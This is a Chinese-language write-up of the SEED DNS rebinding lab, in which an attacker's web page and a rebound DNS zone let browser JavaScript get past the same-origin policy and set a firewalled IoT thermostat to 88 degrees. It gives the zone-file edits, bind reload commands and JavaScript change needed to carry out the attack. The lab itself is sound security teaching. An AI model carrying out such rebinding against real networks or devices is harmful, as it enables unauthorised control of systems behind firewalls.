1 介绍
本实验中模拟的物联网设备是一个恒温器,用于控制室内温度。客户端需要能够与服务器交互,以此设置温度。物联网设备在防火墙后面,外部设备不能与之交互,因此不能控制恒温器。为了击败防火墙保护,攻击代码必须首先进入内部网络。当来自内部网络的用户访问攻击者的网站时,攻击者的代码(JavaScript代码)实际上是从用户的浏览器中运行的,因此在受保护的内部网络中运行。然而,由于浏览器实现的沙箱保护,攻击者的代码仍然不能与物联网设备交互,即使它现在在内部网络中。
本实验的目标是使用DNS重绑定攻击来绕过沙箱保护,这样攻击者的javascript代码就可以成功地从设备获得必要的信息,并使用这些信息来使恒温器处于一个高温值。
2 实验环境
2.1 配置信息
step 1 修改firebox浏览器的DNS缓存时间
firebox浏览器默认缓存DNS查询结果60s,这意味着DNS rebinding attack至少需要等待60s。浏览器地址栏中键入![about:config](https://latex.codecogs.com/gif.latex?about%3Aconfig),进入设置,搜索dnsCache,将network.dnsCacheExpiration的值更改为10,**重启浏览器使之生效**。
Step 3 配置本地DNS服务器
添加以下内容到/etc/resolvconf/resolv.conf.d/head文件中,之后运行指令sudo resolvconf -u使之生效。
nameserver 10.9.0.53
step 2 修改hosts
将以下内容添加到/etc/hosts文件。
192.168.60.80 www.seedIoT32.com
此时,启动docker容器,并且访问www.seedIoT32.com和www.attacker32.com,如果容器正常启动,则可以看到以下画面。
3 Launch the Attack on the IoT Device
3.1 同源策略
访问以下3个网址,发现只有www.seedIoT32.com/change能够修改恒温器的温度,而www.attacker32.com/change则无法修改恒温器温度。
URL 1: http://www.seedIoT32.com
URL 2: http://www.seedIoT32.com/change
URL 3: http://www.attacker32.com/change
浏览器同源策略,当两个域名的协议、域名、端口三者相同时,即认为两者同源,是浏览器为了确保一个应用中的资源只能被本应用的资源访问而设置的。本实验中由于www.attacker32.com/change与www.seedIoT32.com不同源,因此它无法修改恒温器的温度。
3.2 Task 2. Defeat the Same-Origin Policy Protection
step 1 修改JavaScript代码
进入attacker-www-10.9.0.180容器,使用nano命令修改/app/rebind_server/ templates/js/change.js文件,第一行修改为:
let url_prefix = ’http://www.attacker32.com’
使用docker restart重启 attacker-www-10.9.0.180容器,刷新www.attacker32.com/change页面,此时点击button,在F12的console界面中不在显示错误,但此时仍然无法修改温度,因为此时请求是发往www.attacker32.com而不是www.seedIoT32.com。
step 2 Conduct the DNS rebinding
为了使attacker的请求发往www.seedIoT32.com,需要修改DNS映射关系,使www.attacker32.com映射到www.seedIoT32.com的IP地址。修改attacker-ns-10.9.0.153
的/etc/bind/zone_attacker32.com文件中的内容为(只修改www即可):
$TTL 1000
@ IN SOA ns.attacker32.com. admin.attacker32.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.attacker32.com.
@ IN A 10.9.0.180
www IN A 192.168.60.80
ns IN A 10.9.0.153
* IN A 10.9.0.180
使用以下命令使之生效:
// in attacker-ns-10.9.0.153
# rndc reload attacker32.com
// in Local DNS Server
# rndc flush
此时www.attacker32.com下的change即可修改温度。**注意,不要刷新浏览器页面!!!**因为一旦刷新页面,浏览器会重新向www.attacker32.com请求js代码,而我们已经修改了DNS地址,使之指向IoT服务器,而IoT服务器的代码是未经改动的,此时点击change,请求会发往www.seedIoT32.com,出现不同源错误。
4 Task 3. Launch the Attack
先把zone_attacker32.com文件改回来,才能访问www.attacker32.com。之后再修改zone_attacker32.com文件,等待倒计时归0,即可自动修改温度至88。
版权归原作者 cold_windx 所有, 如有侵权,请联系我们删除。